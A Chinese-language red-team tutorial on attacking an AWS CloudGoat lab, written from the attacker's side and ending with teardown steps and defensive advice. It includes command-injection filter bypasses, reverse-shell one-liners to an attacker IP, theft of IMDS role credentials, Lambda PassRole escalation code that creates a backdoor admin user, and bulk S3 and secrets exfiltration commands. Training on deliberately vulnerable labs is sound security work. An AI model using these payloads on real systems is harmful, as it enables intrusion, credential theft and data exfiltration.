1. 项目概述:从靶场到实战的RCE渗透路径
如果你在安全圈待过一阵子,肯定听过CloudGoat这个名字。它不是一个简单的漏洞靶场,而是一个专门为红队和渗透测试人员设计的“云上攻防实验室”。和那些单点漏洞的靶机不同,CloudGoat模拟的是真实云环境(主要是AWS)中复杂的、相互关联的脆弱配置,让你能从外部一步步打进去,直到拿到最高权限。今天我们要啃的这块硬骨头,是CloudGoat里一个非常经典的场景:通过一个存在RCE(远程代码执行)漏洞的Web应用作为突破口,完成一次完整的渗透测试。这不仅仅是弹个计算器那么简单,它涉及从信息收集、漏洞利用、权限提升到横向移动、数据窃取乃至权限维持的完整链条,完美复现了攻击者在真实云环境中可能采取的每一步行动。
为什么这个场景值得深挖?因为RCE漏洞,尤其是Web应用的RCE,在实战中往往是打开内网大门的“万能钥匙”。一个看似不起眼的CMS、一个内部使用的运维工具,甚至一个临时上线的活动页面,都可能因为开发人员的疏忽(比如未过滤的用户输入、危险函数调用、依赖库漏洞)而埋下RCE的种子。攻击者一旦利用成功,就能在服务器上以Web服务权限执行任意命令,这相当于拿到了进入城堡地下室的第一把钥匙。在CloudGoat的这个场景里,这把钥匙能打开的,是一整个配置不当的AWS云环境。对于想从Web安全切入云安全,或者想系统化提升红队实战能力的朋友来说,这个实战演练的价值不言而喻。
本教程的目标读者,是已经具备Web渗透基础(了解SQL注入、XSS、文件上传等常见漏洞原理和利用工具),并开始接触内网渗透或云安全概念的进阶学习者。你需要对Linux命令行、基本的网络协议(HTTP/S)和常见的Web架构(如前后端分离)有基本了解。我们将完全以攻击者视角,手把手带你走通从外网发现漏洞点到最终控制整个云环境的全过程,过程中会穿插大量原理讲解、工具选型理由和我在实际演练中踩过的坑。准备好了吗?让我们开始这次“云上狩猎”。
2. 环境搭建与目标锁定
2.1 CloudGoat场景部署与初始化
工欲善其事,必先利其器。CloudGoat的运行依赖AWS账户和Terraform,这意味着你需要有一个AWS账号(可以使用免费层,但部分资源可能产生极小费用,务必在演练结束后及时销毁)。首先,在你的本地攻击机(推荐使用Kali Linux或Parrot OS)上完成基础准备。
第一步是安装和配置AWS CLI以及Terraform。AWS CLI是你的控制台,用于与你的AWS账户交互;Terraform则是“基础设施即代码”工具,CloudGoat用它来一键创建和销毁整个脆弱的云环境。
# 更新包管理器并安装必要工具 sudo apt update && sudo apt install -y curl unzip git # 安装AWS CLI (以Linux x86_64为例) curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" unzip awscliv2.zip sudo ./aws/install aws --version # 验证安装 # 配置AWS CLI,需要你的Access Key ID和Secret Access Key aws configure # 依次输入你的AWS访问密钥、默认区域(如us-east-1)、输出格式(如json) # 安装Terraform wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list sudo apt update && sudo apt install terraform terraform -version # 验证安装接下来,克隆CloudGoat仓库并部署我们需要的场景。CloudGoat有多个场景,每个场景聚焦不同的攻击路径。我们需要找到那个包含易受攻击Web应用的场景。通常,这类场景会被命名为rce_web_app、vulnerable_lamda或类似。
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git cd cloudgoat # 列出所有可用场景 ./cloudgoat.py list假设我们目标场景叫lazy_lambda(这是一个常见的包含脆弱Web函数和错误配置的场景)。我们使用CloudGoat脚本进行部署,这比手动运行Terraform更便捷,因为它会自动处理很多配置和变量。
# 创建并部署场景 ./cloudgoat.py create lazy_lambda这个命令会在你的AWS账户中创建一系列资源:可能包括一个VPC、公有子网、EC2实例(运行Web应用)、Lambda函数、S3存储桶、IAM角色等。部署过程需要5-10分钟。关键注意事项:部署完成后,脚本会输出一个“开始URL”或目标的IP地址/域名。务必把这个信息保存下来,这是我们的首要目标。同时,CloudGoat还会生成一组用于该场景的凭据(如某个IAM用户的密钥),这些在后续横向移动时可能会用到。
提示:强烈建议在部署后,立即在AWS控制台为这个练习创建一个专用的计费警报,并设置一个日历提醒,在2-3小时后回来销毁资源。CloudGoat资源如果不销毁,可能会持续产生费用。
2.2 信息收集与目标应用指纹识别
拿到目标地址(假设是http://ec2-xx-xx-xx-xx.compute-1.amazonaws.com)后,不要急着上漏洞扫描器。有经验的红队成员会先进行细致、低调的信息收集,避免过早触发警报。
首先,使用浏览器手动访问目标。观察页面内容:是一个博客?一个文件上传界面?一个API调试面板?还是一个登录页面?记下任何看起来像是用户输入的地方,比如搜索框、评论框、文件上传、URL参数。查看网页源代码,寻找注释、隐藏表单、引用的JavaScript文件,这些可能泄露技术栈信息(如Powered by Express.js、vue.js版本号)。
接下来,使用命令行工具进行更全面的侦察:
# 1. 使用curl获取HTTP头信息,重点关注Server, X-Powered-By, Set-Cookie等字段 curl -I http://ec2-xx-xx-xx-xx.compute-1.amazonaws.com # 2. 使用whatweb进行快速的Web技术指纹识别 whatweb http://ec2-xx-xx-xx-xx.compute-1.amazonaws.com -v # 3. 使用ffuf进行目录和文件爆破,寻找隐藏的入口点、管理后台、备份文件等 # 先准备一个常用的目录字典,如SecLists中的common.txt ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://TARGET/FUZZ -fc 403,404假设通过信息收集,我们确定目标是一个运行在Node.js环境下的简单Web应用,提供了一个“命令执行”或“系统诊断”功能(这在CloudGoat场景中很常见,用于模拟开发人员留下的后门或调试接口)。页面上可能有一个输入框,提示“输入要执行的系统命令”。这几乎是把RCE漏洞明摆出来了。但在真实环境中,漏洞往往隐藏得更深,可能需要结合参数污染、请求头注入、非常规的HTTP方法(如PUT)或特定的API路径才能触发。
实操心得:在这个阶段,我会习惯性地用Burp Suite抓取所有浏览器流量,保存到日志中。即使初始页面看起来无害,后续的交互可能会向其他子域名或API端点发送请求,这些都可能成为新的攻击面。同时,检查robots.txt和sitemap.xml文件,有时能发现开发人员不想被索引但并未严格限制访问的敏感路径。
3. RCE漏洞利用与初步立足
3.1 漏洞点分析与Payload构造
我们假设已经找到了可疑的功能点:一个位于/api/run的POST接口,接收一个名为command的参数,并返回系统命令的执行结果。在浏览器开发者工具的“网络”选项卡中,我们看到了这样的请求:
POST /api/run HTTP/1.1 Host: target.com Content-Type: application/json {"command":"ping -c 1 localhost"}服务器返回了ping命令的结果。这证实了RCE漏洞的存在。但直接执行whoami或id可能被WAF(Web应用防火墙)或简单的输入过滤拦截。我们需要系统地测试命令注入的绕过技巧。
首先,了解Web应用可能使用的后端语言。Node.js下,常见的危险函数是child_process.exec()或child_process.spawn()。对于exec(),它通常通过系统shell(如/bin/sh)来执行命令,这意味着我们可以使用shell的语法特性,如命令连接符。
我们使用Burp Suite的Repeater模块或命令行工具curl进行测试:
# 测试基础命令执行 curl -X POST http://TARGET/api/run -H "Content-Type: application/json" -d '{"command":"id"}' # 如果被过滤或返回错误,尝试命令分隔符 # Linux下常用的分隔符:; & && | || curl -X POST http://TARGET/api/run -H "Content-Type: application/json" -d '{"command":"id; ls -la"}' # 测试空格绕过(常见过滤点) # 用${IFS}代替空格 curl -X POST http://TARGET/api/run -H "Content-Type: application/json" -d '{"command":"cat${IFS}/etc/passwd"}' # 用制表符%09代替空格 curl -X POST http://TARGET/api/run -H "Content-Type: application/json" -d '{"command":"cat%09/etc/passwd"}' # 用大括号{cat,/etc/passwd}(某些shell下有效) curl -X POST http://TARGET/api/run -H "Content-Type: application/json" -d '{"command":"{cat,/etc/passwd}"}' # 测试黑名单关键字绕过 # 如果`cat`被过滤,尝试使用`tac`, `more`, `less`, `head`, `tail`, `nl` # 或者使用base64编码 curl -X POST http://TARGET/api/run -H "Content-Type: application/json" -d '{"command":"echo$(printf '\''Y2F0IC9ldGMvcGFzc3dkCg==\''|base64 -d|sh)"}'重要注意事项:在真实渗透测试中,执行命令必须极其谨慎,避免使用rm -rf /或:(){ :|:& };:(fork炸弹)等破坏性命令。在CloudGoat这样的隔离环境中,虽然可以放开手脚,但养成良好习惯至关重要。始终先使用id、whoami、pwd、ls等无害命令确认执行上下文和当前目录。
3.2 获取反向Shell与权限维持
确认可以执行命令后,下一步是获取一个稳定的、交互式的shell会话,而不是一次性的命令执行。最常用的方法是反向Shell(Reverse Shell),即让目标服务器主动连接到我们控制的监听器上。
首先,在攻击机上启动一个Netcat监听器:
# 在攻击机(你的Kali)上执行,监听4444端口 nc -lvnp 4444然后,通过RCE漏洞,在目标服务器上执行命令,让其连接到我们的IP。由于目标环境可能没有Netcat,我们需要使用多种备选方法。以下是几种经典的反向Shell Payload,适应不同环境:
# 1. 使用Bash(最常见) bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1 # 通过RCE漏洞发送时,需要编码。在curl命令中: curl -X POST http://TARGET/api/run -H "Content-Type: application/json" --data-binary '{"command":"bash -c \\"bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\\""}' # 2. 使用Python(如果目标安装了Python) python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # 3. 使用PHP(如果目标是PHP环境) php -r '$sock=fsockopen("YOUR_ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' # 4. 使用socat(功能更强大,但需要安装) socat TCP:YOUR_ATTACKER_IP:4444 EXEC:/bin/sh发送Payload后,如果成功,你会在Netcat监听窗口看到连接,并获得一个Shell提示符。首先,升级这个Shell的体验:
# 在获得的简陋shell中执行 python3 -c 'import pty; pty.spawn("/bin/bash")' # 或者 script /dev/null -c bash # 然后按 Ctrl+Z 挂起,在攻击机终端执行: stty raw -echo; fg # 最后重置终端并设置环境变量 export TERM=xterm现在你有了一个相对完整的Shell。立即进行初步侦察:
whoami # 查看当前用户 id # 查看用户和组信息 pwd # 当前目录 hostname # 主机名 uname -a # 系统内核信息 cat /etc/os-release # 系统发行版信息 ifconfig 或 ip a # 网络接口信息 netstat -tulnp 或 ss -tulnp # 查看网络连接和监听端口 ps auxf # 查看进程列表,寻找其他服务、数据库、Web服务器等权限维持技巧:在云环境中,Web服务器可能运行在自动扩缩组中,实例可能被重建。因此,在Web应用本身留后门(如写入Webshell)可能不是长久之计。更好的方法是尝试窃取IAM角色凭证或创建后门用户。但首先,我们需要探索当前实例的权限。在AWS EC2实例上,一个关键操作是查询实例元数据服务(IMDS):
# 尝试获取实例的IAM角色名称(如果附加了角色) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 如果返回了一个角色名(如`cloudgoat-lambda-role`),则获取该角色的临时凭证 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cloudgoat-lambda-role获取到的凭证(AccessKeyId, SecretAccessKey, Token)是通往AWS云环境内部的金钥匙。保存好这些信息,我们将在下一阶段使用它们。
4. 横向移动与云环境侦察
4.1 利用IAM凭证进行权限枚举
拿到了临时安全凭证,我们的攻击面瞬间从一台孤立的EC2实例扩展到了整个AWS账户。首先,在攻击机上配置这些凭证,使用AWS CLI进行侦察。为了避免污染你本地的默认配置,建议使用环境变量或创建新的CLI配置文件。
# 方法1:使用环境变量(临时生效) export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY export AWS_SESSION_TOKEN=AQoDYXdzEJr...(很长的一段Token) # 方法2:创建新的CLI配置文件 aws configure --profile cloudgoat-hacked # 然后依次输入窃取的密钥、区域、输出格式 # 测试凭证是否有效,并查看当前调用者身份 aws sts get-caller-identity --profile cloudgoat-hacked如果命令成功返回,说明凭证有效,并且会显示当前凭证对应的IAM实体(用户或角色)的ARN。接下来,开始系统的权限枚举。我们的目标是弄清楚“我们现在是谁?”以及“我们能做什么?”。
# 1. 列出当前凭证的所有权限(模拟策略评估) # 安装并使用`aws_iam_enum`或`enumerate-iam`等工具更高效,这里用手动命令示例 # 尝试一些高风险且常见的操作,看是否被允许 # 尝试列出S3存储桶(数据泄露) aws s3 ls --profile cloudgoat-hacked # 尝试列出EC2实例(计算资源) aws ec2 describe-instances --profile cloudgoat-hacked --query 'Reservations[*].Instances[*].[InstanceId,PrivateIpAddress,PublicIpAddress,State.Name]' --output table # 尝试列出Lambda函数(无服务器函数) aws lambda list-functions --profile cloudgoat-hacked # 尝试列出IAM用户和角色(身份管理) aws iam list-users --profile cloudgoat-hacked aws iam list-roles --profile cloudgoat-hacked # 尝试列出安全组和网络ACL(网络配置) aws ec2 describe-security-groups --profile cloudgoat-hacked aws ec2 describe-network-acls --profile cloudgoat-hacked # 尝试执行Lambda函数(如果权限足够) # aws lambda invoke --function-name target-function --payload '{}' output.txt --profile cloudgoat-hacked实操心得:枚举时务必注意API调用速率限制和日志记录。过于频繁的调用可能触发CloudTrail警报。在实战中,我会优先使用--query和--output text参数来过滤输出,只获取关键信息,并尽量将多个查询合并。同时,一定要检查凭证的有效期(通过aws sts get-caller-identity返回信息中的Expiration字段或单独调用aws sts get-session-token查看),临时凭证通常只有几小时的有效期。
4.2 识别高价值目标与脆弱配置
通过初步枚举,我们可能发现当前角色拥有一些过度宽松的权限。在CloudGoat场景中,常见的脆弱配置包括:
S3存储桶策略配置错误:存储桶被设置为
public-read或public-read-write,或者策略允许来自任何AWS账户的s3:*操作。我们可以列出存储桶内容,甚至上传、覆盖、删除文件。# 如果s3 ls成功,尝试列出特定桶内所有对象 aws s3 ls s3://bucket-name/ --recursive --profile cloudgoat-hacked # 尝试下载敏感文件 aws s3 cp s3://bucket-name/config/database.yml ./ --profile cloudgoat-hacked # 尝试上传Webshell(如果桶关联了静态网站托管) aws s3 cp webshell.php s3://bucket-name/ --profile cloudgoat-hackedLambda函数过度权限:附加给Lambda函数的执行角色(Execution Role)可能拥有
*(管理员)权限,或者可以操作其他服务(如启动EC2实例、调用其他Lambda)。如果我们能修改Lambda函数的代码(通过UpdateFunctionCode),就能直接以该高权限角色执行任意操作。# 获取函数配置,查看其执行角色ARN aws lambda get-function --function-name FunctionName --profile cloudgoat-hacked # 如果权限允许,更新函数代码(例如,替换为一个能执行命令或导出环境变量的函数) aws lambda update-function-code --function-name FunctionName --zip-file fileb://malicious.zip --profile cloudgoat-hackedEC2安全组配置不当:关键端口的访问控制过于宽松。例如,Redis(6379)、MongoDB(27017)、Memcached(11211)等服务直接对互联网(0.0.0.0/0)开放,且没有密码认证。我们可以尝试直接连接并获取数据。
# 使用nmap或masscan扫描发现的服务,这里假设发现一个开放的Redis redis-cli -h target-ip -p 6379 # 连接后,可以尝试 INFO 命令,或直接读取数据IAM角色信任策略滥用:某个IAM角色可能被配置为可以被其他AWS账户或服务(如Lambda)担任(AssumeRole)。如果我们当前的角色拥有
sts:AssumeRole权限,并且目标角色的信任策略允许我们担任,我们就可以“跳转”到更高权限的角色。# 列出所有角色,查看其信任策略文档 aws iam list-roles --profile cloudgoat-hacked # 假设发现一个角色arn:aws:iam::123456789012:role/AdminRole # 尝试担任该角色 aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name MySession --profile cloudgoat-hacked # 如果成功,会返回一组新的、权限更高的临时凭证
在这个阶段,我们的核心思路是:由点到面,权限提升。从最初Web应用的RCE漏洞获得的立足点(一个EC2实例),通过窃取其IAM角色凭证,横向移动到整个AWS账户的权限平面。然后,利用权限枚举发现账户内的配置错误和过度授权,进一步扩大控制范围,最终目标是获取账户的完全控制权(如成为管理员用户)或窃取核心数据。
5. 权限提升与数据窃取实战
5.1 利用过度权限实现权限提升
假设通过枚举,我们发现当前角色(从EC2元数据获取的)拥有iam:PassRole和lambda:CreateFunction权限,并且可以传递一个高权限的角色给新的Lambda函数。这是一个经典的权限提升路径。
攻击思路如下:
- 创建一个新的Lambda函数,其执行角色(Execution Role)设置为一个高权限的角色(比如拥有
AdministratorAccess策略的角色)。 - 在Lambda函数代码中,写入可以执行任意AWS CLI命令的逻辑。
- 触发Lambda函数执行,由于它以后台服务身份运行,且附加了高权限角色,我们就能以该高权限角色执行任意操作。
具体操作步骤:
首先,我们需要一个高权限角色的ARN。通过之前的枚举可能已经发现,或者我们可以尝试列出角色并查看其附加的策略。
# 查找有管理员权限的角色 aws iam list-roles --profile cloudgoat-hacked --query 'Roles[*].[RoleName, Arn]' --output text | while read role arn; do policies=$(aws iam list-attached-role-policies --role-name $role --profile cloudgoat-hacked --query 'AttachedPolicies[*].PolicyName' --output text) if [[ $policies == *"AdministratorAccess"* ]]; then echo "Found Admin Role: $role, ARN: $arn" TARGET_ROLE_ARN=$arn fi done假设我们找到了arn:aws:iam::123456789012:role/CloudGoatAdminRole。接下来,准备Lambda函数的部署包(ZIP文件)。创建一个名为exploit.py的Python文件:
import json import subprocess import os def lambda_handler(event, context): # 从环境变量读取要执行的命令,或者从event参数获取 command = event.get('command', 'id') try: # 执行系统命令,注意Lambda运行在Amazon Linux 2环境 result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True) return { 'statusCode': 200, 'body': json.dumps(f'Command executed successfully:\n{result}') } except subprocess.CalledProcessError as e: return { 'statusCode': 500, 'body': json.dumps(f'Command failed with error:\n{e.output}') }将这个文件和任何依赖(这里没有)打包成ZIP:
zip exploit.zip exploit.py现在,使用当前凭证创建Lambda函数,并指定高权限角色为其执行角色:
aws lambda create-function \ --function-name BackdoorFunction \ --runtime python3.8 \ --role arn:aws:iam::123456789012:role/CloudGoatAdminRole \ --handler exploit.lambda_handler \ --zip-file fileb://exploit.zip \ --profile cloudgoat-hacked关键注意事项:
iam:PassRole权限要求传递的角色必须满足信任策略。即,CloudGoatAdminRole的信任策略必须允许Lambda服务(lambda.amazonaws.com)来担任它,或者允许我们当前的角色来担任它。在CloudGoat场景中,这种错误配置是故意设置的。在真实环境中,需要仔细检查信任策略。
创建成功后,我们就可以调用这个Lambda函数,并以CloudGoatAdminRole的权限执行任意命令了。但Lambda函数本身不能直接执行AWS CLI,我们需要在函数内部通过Python的boto3SDK来调用AWS API。修改一下exploit.py,让它能创建新的IAM用户:
import boto3 import json def lambda_handler(event, context): iam_client = boto3.client('iam') # 创建一个新的IAM用户 new_user_name = 'BackdoorAdmin' try: iam_client.create_user(UserName=new_user_name) # 给用户附加管理员权限 iam_client.attach_user_policy( UserName=new_user_name, PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) # 为用户创建访问密钥 response = iam_client.create_access_key(UserName=new_user_name) access_key = response['AccessKey']['AccessKeyId'] secret_key = response['AccessKey']['SecretAccessKey'] return { 'statusCode': 200, 'body': json.dumps(f'User {new_user_name} created. Access Key: {access_key}, Secret Key: {secret_key}') } except Exception as e: return { 'statusCode': 500, 'body': json.dumps(f'Error: {str(e)}') }更新ZIP包并更新函数代码:
zip -r exploit.zip exploit.py aws lambda update-function-code --function-name BackdoorFunction --zip-file fileb://exploit.zip --profile cloudgoat-hacked最后,调用函数:
aws lambda invoke --function-name BackdoorFunction --payload '{}' output.txt --profile cloudgoat-hacked cat output.txt如果成功,输出中会包含新创建的管理员用户的访问密钥。至此,我们完成了从Web应用RCE到获得AWS账户全局管理员权限的完整提权。
5.2 敏感数据定位与窃取
拥有高权限后,下一步是寻找并窃取敏感数据。在云环境中,敏感数据可能存储在多个地方:
S3存储桶:这是最常见的存储位置。使用管理员权限进行全面列举和下载。
# 列出所有存储桶 aws s3 ls --profile admin-creds # 遍历每个桶,列出所有对象(注意数据量可能很大) for bucket in $(aws s3 ls --profile admin-creds | awk '{print $3}'); do echo "=== Bucket: $bucket ===" aws s3 ls s3://$bucket/ --recursive --human-readable --summarize --profile admin-creds | head -50 done # 下载感兴趣的桶 aws s3 sync s3://sensitive-data-bucket ./local-backup/ --profile admin-credsRDS数据库:关系型数据库服务。可以尝试直接连接并导出数据,或者创建数据库快照并共享到自己的账户。
# 列出所有RDS实例 aws rds describe-db-instances --profile admin-creds --query 'DBInstances[*].[DBInstanceIdentifier, Endpoint.Address, Endpoint.Port]' --output table # 获取主密码(如果存储在Secrets Manager中) # 或者尝试修改实例的安全组,允许从你的IP访问,然后使用数据库客户端连接。Secrets Manager / Parameter Store:专门用于存储数据库密码、API密钥等机密信息。
# Secrets Manager aws secretsmanager list-secrets --profile admin-creds aws secretsmanager get-secret-value --secret-id my-secret --profile admin-creds # Systems Manager Parameter Store aws ssm describe-parameters --profile admin-creds aws ssm get-parameter --name /path/to/param --with-decryption --profile admin-credsEC2实例元数据与用户数据:检查其他EC2实例,其用户数据(User Data)脚本中可能包含硬编码的凭证。
# 获取其他实例的元数据(需要网络可达或通过SSM会话管理器) # 如果实例配置了SSM Agent且我们有权限,可以使用 aws ssm start-session --target i-1234567890abcdef0 --profile admin-creds # 在会话中,可以访问该实例的元数据 curl http://169.254.169.254/latest/user-data
数据窃取后的操作:在渗透测试中,证明危害(Proof of Compromise)至关重要。通常,我会在不破坏业务的前提下,从目标环境下载一个特定的、非敏感的文件(如/etc/issue.net或一个由测试团队预先放置的标记文件),或者创建一个具有特定名称的资源(如一个S3对象hacked-by-[yourname]),作为已取得控制权的证据。在CloudGoat中,场景本身可能设定了最终目标(如找到特定的“flag”),按照其指引操作即可。
6. 痕迹清理与防御建议
6.1 攻击痕迹清理与资源销毁
在真实的渗透测试中,清理痕迹是可选步骤,取决于客户的要求。但在CloudGoat演练中,务必彻底销毁所有创建的资源,避免产生意外费用。
使用CloudGoat脚本进行销毁是最安全、最彻底的方式:
# 在cloudgoat目录下 ./cloudgoat.py destroy lazy_lambda这个命令会调用Terraform销毁所有为该场景创建的资源。务必确认销毁成功,可以回到AWS控制台,检查对应的EC2实例、S3桶、Lambda函数、IAM角色等是否已被删除。
如果因为某些原因脚本销毁失败,需要手动清理:
- 删除创建的Lambda函数、S3桶、EC2实例等资源。
- 删除创建的后门IAM用户和密钥。
- 恢复被修改的配置,如安全组规则、IAM策略、信任关系等。
关于攻击痕迹:在AWS中,你的几乎所有API调用都会被CloudTrail记录(如果账户启用了它)。作为攻击者,你无法删除CloudTrail日志(它们被存储在不可变的S3桶或CloudWatch Logs中)。因此,在红队评估中,更高级的做法是“活在日志中”,即模拟正常用户行为,使用低且慢的扫描,避免触发GuardDuty等安全服务的检测规则。对于蓝队而言,这意味着必须定期、仔细地审查CloudTrail日志。
6.2 从攻击视角看云安全防御
经历了完整的攻击链,我们可以从防御者角度总结出关键点:
最小权限原则:这是云安全的基石。给EC2实例附加的IAM角色、Lambda函数的执行角色,都必须遵循最小权限原则。不要使用
*通配符,而是明确列出所需的特定API操作和资源。- 错误示例:
"Action": "s3:*", "Resource": "*" - 正确示例:
"Action": ["s3:GetObject", "s3:PutObject"], "Resource": "arn:aws:s3:::my-bucket/uploads/*"
- 错误示例:
保护实例元数据服务(IMDS):对于不需要访问IMDS的实例,或者只需要访问有限元数据的实例,使用IMDSv2并配置跳数限制。在网络层面,通过安全组限制对
169.254.169.254的访问(尽管这很难,因为它是链路本地地址)。最重要的是,绝不将高权限的IAM角色附加到面向公网的EC2实例上。输入验证与安全编码:本场景的根源是Web应用RCE漏洞。对所有用户输入进行严格的验证、过滤和转义。避免将用户输入直接传递给系统命令执行函数(如
exec,system,eval)。使用参数化查询或安全的API。定期进行代码审计和安全测试。网络隔离与安全组配置:遵循网络最小权限原则。数据库(RDS)、缓存(ElastiCache)等后端服务绝对不应该对互联网(
0.0.0.0/0)开放。将它们放在私有子网,并通过安全组严格控制访问源,只允许来自特定应用层实例或VPC内部的流量。启用并监控安全服务:
- AWS CloudTrail:在所有区域启用,并将日志文件传送到一个不可变的、其他账户无法访问的S3桶中。
- AWS GuardDuty:启用智能威胁检测,它能识别异常的API调用、凭证泄露、加密货币挖矿等行为。
- AWS Security Hub:集中化安全状态管理,聚合来自GuardDuty、Inspector、Macie等多个服务的安全发现。
- AWS Config:持续评估资源配置是否符合安全基线,并能自动修复某些不合规项。
定期进行渗透测试和漏洞评估:主动邀请专业的安全团队或使用AWS Inspector等工具对您的云环境进行测试。模拟攻击者的行为,才能发现配置盲点和逻辑漏洞。
CloudGoat的这个RCE Web应用渗透场景,像一幅清晰的攻击路线图,揭示了从外部应用漏洞到内部云资源沦陷的典型路径。防御的本质不在于堵住某一个点,而在于构建一个纵深防御体系,确保即使一层被突破,攻击者也难以横向移动和提升权限。对于安全从业者而言,反复演练这样的场景,不仅能磨炼攻击技术,更能深刻理解每一项安全配置背后的防御意义,从而在设计架构和制定策略时,真正做到“知己知彼,百战不殆”。